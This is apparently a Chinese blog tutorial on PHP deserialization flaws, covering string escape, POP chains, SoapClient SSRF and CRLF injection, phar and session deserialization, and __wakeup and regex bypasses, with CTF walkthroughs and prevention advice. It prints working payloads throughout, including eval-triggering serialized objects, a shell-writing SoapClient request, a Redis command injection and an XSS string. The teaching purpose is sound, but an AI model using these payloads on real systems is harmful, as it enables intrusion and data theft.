php反序列化漏洞

Lmg66發表於2020-10-06

前言

本文總結php的反序列化,有php反序列字串逃逸,php反序列化pop鏈構造,php反序列化原生類的利用,phar反序列化,session反序列化,反序列化小技巧,並附帶ctf小題來說明,還有php反序列化的預防方法(個人想法),建議按需檢視,如有錯誤還望斧正。
如非特別說明執行環境為PHP 7.2.33-1+ubuntu18.04.1

為什麼要序列化?

序列化可以將物件,類,陣列,變數,匿名函式等,轉換為字串,這樣使用者就方便儲存和傳輸,同時方便恢復使用,對伺服器也減輕一定的壓力。

序列化基礎

序列化為字串時候,變數和引數之間用;隔開,同一個變數和引數間用:號隔開,以}作為結尾,具體結構,用以下程式碼來看下結構

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?>

序列化屬性

在一個可以序列化的字串後加其他引數不影響序列化後的結果

如:
測試程式碼:

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?>

效果:可以發現,後面加了其他引數並不影響序列化後的結果

顯示變數長度和實際長度不匹配就會報錯,在這裡在某些情況就會產生字串逃逸

如:
測試程式碼:

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?>

效果:可以發現我改了變數名name使它的長度和實際4不符,就發生了報錯,改其他類似

反序列常見魔術函式總覽,可構造pop鏈

__construct: 當建立類的時候自動呼叫,也就是建構函式,無返回值
__destruct: 當類例項子銷燬時候自動呼叫,也就是解構函式,無返回值,其不能帶引數
__toString:當物件被當做一個字串使用時呼叫,比如echo $obj 。
__sleep: 當類的例項被序列化時呼叫(其返回需要一個陣列或者物件,一般返回物件的$this,返回的值被用來做序列化的值,如果不返回,表示序列化失敗)
__wakeup: 當反序列化時被呼叫
__call:當呼叫物件中不存在的方法會自動呼叫該方法。
__get:在呼叫私有屬性的時候會自動執行
__isset()在不可訪問的屬性上呼叫isset()或empty()觸發
__unset()在不可訪問的屬性上使用unset()時觸發

反序列化字串逃逸(替換後導致字串變長)

字串逃逸利用的是反序列化的屬性如上文,出現原因是在序列化前進行了字串的替換,導致字串被拓衝,可以將後面的字串擠出去,擠到後一個物件的變數從而改變其他的變數值,造成逃逸。
如:
測試程式碼:

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>

序列化後的字串為:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
如果能讓name變數的引數為
";s:4:"pass";s:6:"hack";}
用}號閉合掉後面的pass引數,就能改pass變數的引數值從而逃逸
要解決的就是這個位置的長度問題,只用讀取到足夠的長度,才會停止

可以發現在序列化進行了字串的替換,但替換的時候bb替換成了ccc,也就是字串變長了,達到我們上面想要的目的

先判斷想要構造的字串長度

<?php
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?>

執行長度為25,一個bb換成ccc,就逃逸1個字元,也就是說需要25個bb才能將後面的字串給擠出來

<?php
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?>

將name變數引數變為25個bb+";s:4:"pass";s:6:"hack";}
測試程式碼:

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
    public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c->pass."\n";
?>

執行結果:構造完的字串,反序列化後發現密碼被改為了hack,而我們並未直接修改pass的引數,從而實現字串的逃逸

一個ctf例題([0CTF 2016]piapiapia)

地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
開啟題目掃描一下發現wwww.zip檔案下載,因為本文主要交php反序化就不繞了
發現config.php中又flag,所以要讀取檔案,在profile.php中發現讀取檔案的程式碼

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

如果能讓photo為config.php,而這數值來自$profile的反序列化,檢視$profile

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

發現有過濾

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

要進行字串的逃逸應該先考慮用nickname來構造字串逃逸photo應為nickname在其前面
然後發現nickname有正則過濾,考慮用陣列來進行繞過

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

陣列繞過後就考慮進行逃逸將photo擠出去
所以我們需要構造nickname的引數值為";}s:5:"photo";s:10:"config.php";}
這裡為什麼要在前面加一個}呢???,因為為了繞過nickname的正則匹配我們將其構造成了陣列,陣列在反序列化要進行閉合,可以嘗試一下
構造程式碼

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>

執行結果發現陣列位置進行了閉合

這就是為啥上面要先進行}在逃逸
構造我們想要的內容後要進行逃逸,我們發現過濾的時候將where改成了hacker,進行了字串擴充增建了一個字串,我們構造的字串長度為34所以我們要構造34個where進行逃逸

然後檢視profile.php的圖片,base64解碼就獲得了config.php中的flag

反序列化字串逃逸(替換後導致字串變短)

字串變短的逃逸類似於變長,都是利用了替換字串導致的可輸入變數的改變,從而可以閉合
測試程式碼:

<?php
function str_rep($string){
	return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

發現進行了過濾,將php和test轉換為空
如果我們在name的引數中輸入php,test等,就換轉換為空,那麼就會把後面的資料當成變數
而sign的引數是可控的,如果當name引數為空而讀取到sign可控引數前,那麼就可以通過sign的引數控制字串用}號來閉合掉後面的
計算";s:4:"sign";s:51:"的長度為19
而過濾php一個能吞掉3個字串,所以我們要輸入7個php也就是吞掉21長度,而後面是19長度,所以我們加2個字元來補充
所以構造

name=phpphpphpphpphpphpphp
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}

其中sign中12為補充使其為21長度,"號用於閉合name引數,然後可以發現,number不可變變數被改變

一個ctf例題([安洵杯 2019]easy_serialize_php)

題目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
開啟題目是一段程式碼

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 



先看看phpinfo中的資料,提示在d0g3_f1ag.php檔案中

<?php
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>

先構造程式碼嘗試執行結果

和上面原理一樣要將吞掉,長度為23
";s:8:"function";s:75:"
為什麼s:後是75因為s後的長度必然大於10(也就是function傳入資料的長度)所以我們只要大於10小於100都行,因為資料長度不可能大於100
而flag換成空格吞掉4個字串,所以要6個flag(當然也可以8個php:3*8=24),然後還有在function引數加一個字串來滿足吞24個字串
所以構造數字1也就是滿足24長度加的,img變數要base64,因為實際的img引數被我們給擠出去了,所說這裡不影響
payload(post傳輸):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然後檢視顯示,檢視原始碼:

將img引數讀取的檔案改為/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

反序列化pop鏈構造

有時遇見魔法方法中沒有利用程式碼,即不存在命令執行檔案操作函式,可以通過呼叫其他類方法和魔法函式來達到目的
反序列化想構造的出的方法
命令執行:exec()、passthru()、popen()、system()
檔案操作:file_put_contents()、file_get_contents()、unlink()

例項

程式碼:

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new normal();
	}
	function __destruct() {
		$this->ClassObj->action();
	}
}
class normal {
	function action() {
		echo "hello";
	}
}
class evil {
	private $data;
	function action() {
		eval($this->data);
	}
}
unserialize($_GET['d']);
?>

lemon類建立了正常normal類,然後銷燬時執行了action()方法,很正常,但如果讓其呼叫evil類,銷燬時候就會呼叫evil的action()方法出現eval方法,就能達到效果,所以需要構造

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new evil();
	}
}
class evil {
	private $data = "phpinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?>

evil中data引數為私有屬性,在序列化時會出現不可複製字元,需進行url編碼
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

其中phpinfo();可換成其他想要執行的命令system('dir');等等

php反序列化原生類利用

反序列沒有合適的利用鏈,需要利用php自帶的原生類

__call方法

__call方法在呼叫不存在類的方法時觸發
PHP程式碼:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

通過unserialize進行反序列化,呼叫不存在notextist()類,將觸發__call()魔法函式。
php中原生類soapClient,存在可以進行__call魔法函式。
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用來描述如何訪問具體的介面, UDDI用來管理,分發,查詢webService ,SOAP(簡單物件訪問協議)是連線或Web服務或客戶端和Web服務之間的介面。
其採用HTTP作為底層通訊協議,XML作為資料傳送的格式。
php中的SoapClient類可以建立soap資料包文,與wsdl介面進行互動。

其中option可以定義 User-Agent

payload:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

注意:要開啟soap,在php.ini中去除extension=php_soap.dll之前的“;” ,重啟服務
payload:

<?php
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?>

地址換成自己伺服器地址
我是用虛擬機器ubantu開啟的埠
nc -l 8888
執行:


當然我們也可以傳資料進行CRLF,攻擊內網服務,注入redis命令,因為可定義user_agent
payload:

<?php
	$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
	// echo $lmg."\n";
	$poc = "CONFIG SET dir /root/";
	$target = "http://192.168.124.133:8888/";
	$content = "Content-Length:45\r\n\r\ndata=abc";
	$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello'));
	$aaa = serialize($b);
	$aaa = str_replace('^^', "\n\r", $aaa);
	echo $aaa."\n";
	echo urlencode($aaa)."\n";
?>



內網中寫shell:
內網中test.php

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
	echo 'hi';
	@$a=$_POST[1];
	@eval($a);

}
 ?>

可以利用反序列化,CRLF內網攻擊寫shell,反序列化位置

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

payload:

<?php
$target = 'http://127.0.0.1/CTF/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: '
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c->ss();
?>

成功被寫入shell.php

__toString原生類利用

測試程式碼:

<?php
	echo unserialize($_GET['u']);

?>

利用payload:

<?php
	echo urlencode(serialize(new Exception("<script>alert(1)</script>")));
?>

exception類對於錯誤訊息沒有經過編碼,直接輸出到了網頁,便可以造成xss

phar反序列化

來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,可以在不使用php函式unserialize()的前提下,引起嚴重的php物件注入漏洞。
這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題為:”不為人所知的php反序列化漏洞”。它可以使攻擊者將相關漏洞的嚴重程度升級為遠端程式碼執行。我們在RIPS程式碼分析引擎中新增了對這種新型攻擊的檢測。

原理

phar檔案結構

  • a stub
    檔案格式標準,格式為xxx 前面內容不限,但必須以__HALT_COMPILER();?>,否則無法識別是不是phar檔案,其中xxx可以用作繞過檔案上傳的檢測
  • a manifest describing the contents
    phar本質是一種壓縮檔案,壓縮檔案的許可權,屬性等資訊所存放的位置,以序列的化的方法儲存使用者自定義的meta-data,在使用phar://偽協議時會反序列化這部分,漏洞產生的原因就在這裡
  • the file contents
    被壓縮檔案的內容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    簽名,檔案末尾,格式:

    phar://偽協議介紹
    這個引數是php解壓壓縮包的一個函式,不管什麼,都會當做壓縮包來解壓
    測試:
    要將php.ini中的phar.readonly選項設定為off,不然沒法生成phar檔案
    用來包含某個檔案,構建類TestObject,然後解構函式結束時列印data資料
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}

include($_GET['Lmg']);
?>

生成phar檔案,且定義的meta-data的序列化

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('<?php __HALT_COMPILER();?>');   //設定stub,增加gif檔案頭
    $phar ->addFromString('test.txt','test');  //新增要壓縮的檔案
    $object = new TestObject();
    $object -> data = 'Lmg';
    $phar -> setMetadata($object);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
?>

執行生成檔案為phar的檔案

在真實情況,需要上傳到目標伺服器,然後利用phar在解壓時會反序化meta-data部分來達到目的,這裡就直接直接包含了,列印了Lmg字串

受影響的函式

利用條件:

  • phar檔案要能上傳
  • 有可利用函式如上圖,可魔法函式構造pop鏈
  • 檔案函式操作可控,: / phar 等沒過被過濾

一個ctf例子([CISCN2019 華北賽區 Day1 Web1]Dropbox)

題目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
開啟頁面發現是一個註冊於登入頁面,註冊登入發現是個類似網盤的功能,初始時在登入和註冊頁面嘗試sql注入發現不行,然後在下載功能嘗試下載發現登入和註冊位置對資料庫操作進行了prepare()的預處理,網盤有個下載功能,嘗試下載,嘗試任意下載,抓包,將下載內容改為原始碼(有index.php class.php upload.php download.php login.php register.php),為啥要加../../呢??前期我也不知道,看了別人題解發現,下載原始碼發現download.php,限制了切換了目錄,同時沒法下載其他目錄,這就是後來為啥要用delete功能來phar://,那個位置沒有進行目錄的切換,然後想嘗試檔案上傳來getshell,首先上傳時進行了字尾判讀,而且我們不知道上傳後了路徑,所以考慮其他方法


檢視delete.php,new file()其用了delete()函式,到class.php中檢視detele()使用unlink()來刪除,而unlink()函式是phar反序列化受影響函式,那麼下面我們想要的就是構造就是開啟顯示flag.txt檔案,為啥flag在flag.txt中我就不知道了,可能ctf選手直覺,有點玄學了,如果你知道可以評論告訴我感謝,繼續,在class.php中發現close()中File類file_get_contents(),但是沒法呼叫,然後發現user類中的解構函式呼叫了close類,如果我們令$db=new File();的化,但是雖然我們開啟了檔案,但是沒用回顯,所以還是看不見檔案內容,所以要構造其他的pop鏈,然後發現FileList()中存在魔法函式_call,如果呼叫了不存在的函式就會執行,call函式的作用:

 public function __call($func, $args) {
        array_push($this->funcs, $func);      //如果呼叫了不存在的方法,將改方法放到funcs陣列中
        foreach ($this->files as $file) {     //再從files陣列中取出方法,利用這個元素去呼叫funcs中新增的func
            $this->results[$file->name()][$func] = $file->$func();  //因為呼叫了不存在的鍵值close(),所以func=close,所以$file->$func相當於呼叫close()函式
        }
    }

而close函式開啟$this->filename檔案,所以我們構造File中的filename=./flag.txt就能開啟該檔案,而且該檔案的內容儲存到了results陣列鍵值中,然後我們檢視
File類中的解構函式,發現:

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }

這裡對result的鍵值進行了輸出,所以就能得到flag.txt中的內容
最後payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
    	$file = new File();
        $file->filename = "/flag.txt"; //構造filename讓其開啟該檔案
        $this->files = array($file); 
    }
}

// $a = new User();
// $a->db = new FileList(); //這裡讓FileList呼叫了不存在函式close()函式

$phar = new Phar("phar.phar"); //字尾名必須為phar

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設定stub

$o = new User();
$o->db = new FileList(); //這裡讓FileList呼叫了不存在函式close()函式

$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //新增要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>

php反序列化Session反序列化

session在網際網路起到的作用

session用於跟蹤使用者的行為,儲存使用者的資訊和狀態等等
session當使用者第一次訪問網站時,session_start()函式就會建立唯一的sessionid,通過HTTP響應將sessionid儲存到使用者的cookie中。同時在伺服器建立一個sessionid命名的檔案,用於儲存這個使用者的會話資訊。當使用者再次訪問這個網站時,也會通過http請求將cookie中儲存的session再次攜帶,但是伺服器不會再建立同名檔案,而是硬碟中尋找sessionid的同名檔案,且將其讀取出來。
伺服器session_start()函式作用
當會話開始或通過session_start()開始時,php內部會通過傳來的sessionid來讀取檔案,php會自動序列化sessio檔案內容,並將其填充到超全域性變數$_SESSION中。如果不存在對應的會話資料,則建立一個sessionid的檔案。如果使用者為傳送sessionid,則建立一個由32個字母組成的phpsessionid,並返回set-cookie

session配置和phpsession反序列化原理

php.ini中的session配置


因為我使用的是phpstudy搭建的環境所以路徑比較奇怪
常見的儲存位置

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

session反序列化原理

session的儲存機制

測試程式碼:

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

分別註釋檢視不同機制的儲存方式,我們分別?a=123檢視

  • Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'php'); php機制
  • a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "php_serialize"); php_serialize機制
  • Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "php_binary"); php_binary機制
    產生session反序列的原因就在程式設計師在讀取或者儲存中使用了不同的機制,我們以php_serialize格式來儲存,用php機制來讀取
    測試程式碼:
    儲存session程式碼:
<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

讀取session程式碼:

<?php
	ini_set("session.serialize_handler", "php");
	session_start();
	class student {
		var $name;
		var $age;
		function __wakeup(){
			echo $this->name;
		}
	}
?>

我們先構造一個student的類來生成我們想要的目的

<?php
	class student {
		var $name;
		var $age;
	}
$Lmg = new student();
$Lmg->name = "hack";
$Lmg->age = "19";
echo serialize($Lmg);
?>

生成的序列化字串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
我們構造在儲存頁面構造payload,只需要在上面的字串前加|就可,為什麼呢???

如果我們傳入的數值中有|那麼在讀取時就認為後面是我們要反序列化的字串,從而達到目的
將構造的字串傳入儲存php中計:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
檢視儲存的字串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
所以達到了目的

檢視一下讀取的php,成功列印了hack

沒有$_SESSION賦值的session反序列化

在php中存在一個upload_process機制,可以自動建立$_SESSION一個鍵值對,而且其中的值使用者可以控制,檔案上傳時應用可以傳送一個POST請求到終端(例如通過XHR)來檢查這個狀態


什麼意思呢????意思上傳檔案,同時post一個於session.upload_process.name同名的變數。後端就會自動將post的這個同名變數作為鍵,進行序列化然後儲存到session檔案中,下次請求就會反序列化session檔案

一個ctf題來實踐瞭解一下

題目地址:http://web.jarvisoj.com:32784/index.php
開啟題目是原始碼:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

先讀取session,然後get傳入phpinfo引數,然後建立物件,物件中建構函式給mdzz賦值phpinfo,解構函式執行eval,所以我們的目的是將mdzz構造為讀取檔案
,先隨便傳入引數,檢視phpinfo中的引數,發現預設的反序列化機制是php-serialize,但是題目所使用php,那麼這個兩個機制再上文產生的漏洞我們已經瞭解,但是我們沒法給session進行儲存啊,所以就要用到上面session上傳進度的session儲存來存入我們想要的內容

構造上傳表單

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然後構造我們想要的payload,列印目錄檔案print_r(scandir(dirname(FILE)));,如果寫入解構函式會eval執行

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?>

生成的序列化字串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
我們用上傳表單隨便上傳一個檔案,抓包將filename改為
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
為什麼要改filename,因為其會跟file陣列儲存到session中上面圖片有說明
為啥要在字串前加|,這個上面也說過,因為反序列化的機制不一樣,|後會當做要反序列化的字串
為什麼要再"前加\,因為我們的字串是放在filename=""雙引號內要進行轉義

發現成功讀取到檔名,但是我們不知道檔案目錄,檢視phpinfo(),檢視當前指令碼的執行路徑

所以構造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));來讀取這個檔案
payload:

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));";
echo serialize($Lmg);
?>

生成的字串,成功獲得flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

php反序列化小技巧

__wakeup失效:CVE-2016-7124

漏洞利用版本:
php5<5.6.25
php7<7.0.10
漏洞產生原因
如果存在_wakeup方法,呼叫unserilize()方法前則先呼叫_wakeup方法,但是序列化字串中表示物件屬性個數的值大於真實的屬性個數時候,便會跳過_wakeup的執行
測試程式碼:

<?php
class demo{
	public $name = "Lmg";
	public function __wakeup(){
		echo "this is __wakeup<br>";
	}
	public function __destruct(){
		echo "this is __destruct<br>";
	}
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?>


對比發現頁面只執行了__destruct方法,從而__wakeup()失效

一個ctf例題(unserialize3)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
開啟題目直接是部分原始碼,看到wakeup函式應該想到是利用__wakeup()失效漏洞
題目原始碼:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

構造payload:

<?php
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?>

生成的字串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功獲得flag

bypass反序列化正則

當執行反序列化時,使用正則'/[oc]:\d+:/i'
進行攔截時,主要攔截O:數字:的反序列化字串,那要怎麼繞過呢???
php反序列化時O:+4:和O:4:的解析是一樣的,具體是php的核心是這麼寫的
所以可以通過加+來進行繞過

一個ctf例題(Web_php_unserialize)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
開啟題目是原始碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>


所以構造payload來進行繞過:

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()
$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()
echo base64_encode($x);
?>

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var傳入即可獲得flag
如果這裡沒有base64加密,我麼也需要進行url編碼,因為demo中private為私有屬性,反序列化會出現不可見字元,所以要進行url編碼

如何防止php反序列化

  1. 儘量不要用序列化來傳輸資料
  2. 不要相信使用者傳入資料,或者不讓使用者傳入完整的序列化型別,進行過濾
  3. 隔離執行在低許可權環境中的反序列化,記錄反序列化異常和失敗,例如傳入型別不是預期型別,或者反序列化引發異常,限制或監視來自反序列化的容器或伺服器的傳入和傳出網路連線,限制或監視來自反序列化的容器或伺服器的傳入和傳出網路連線。監視反序列化,如果使用者不斷地反序列化,則發出警報。

參考文章及說明

參考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《從從0到1 ctfer的成長之路》
最後歡迎訪問我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔

相關文章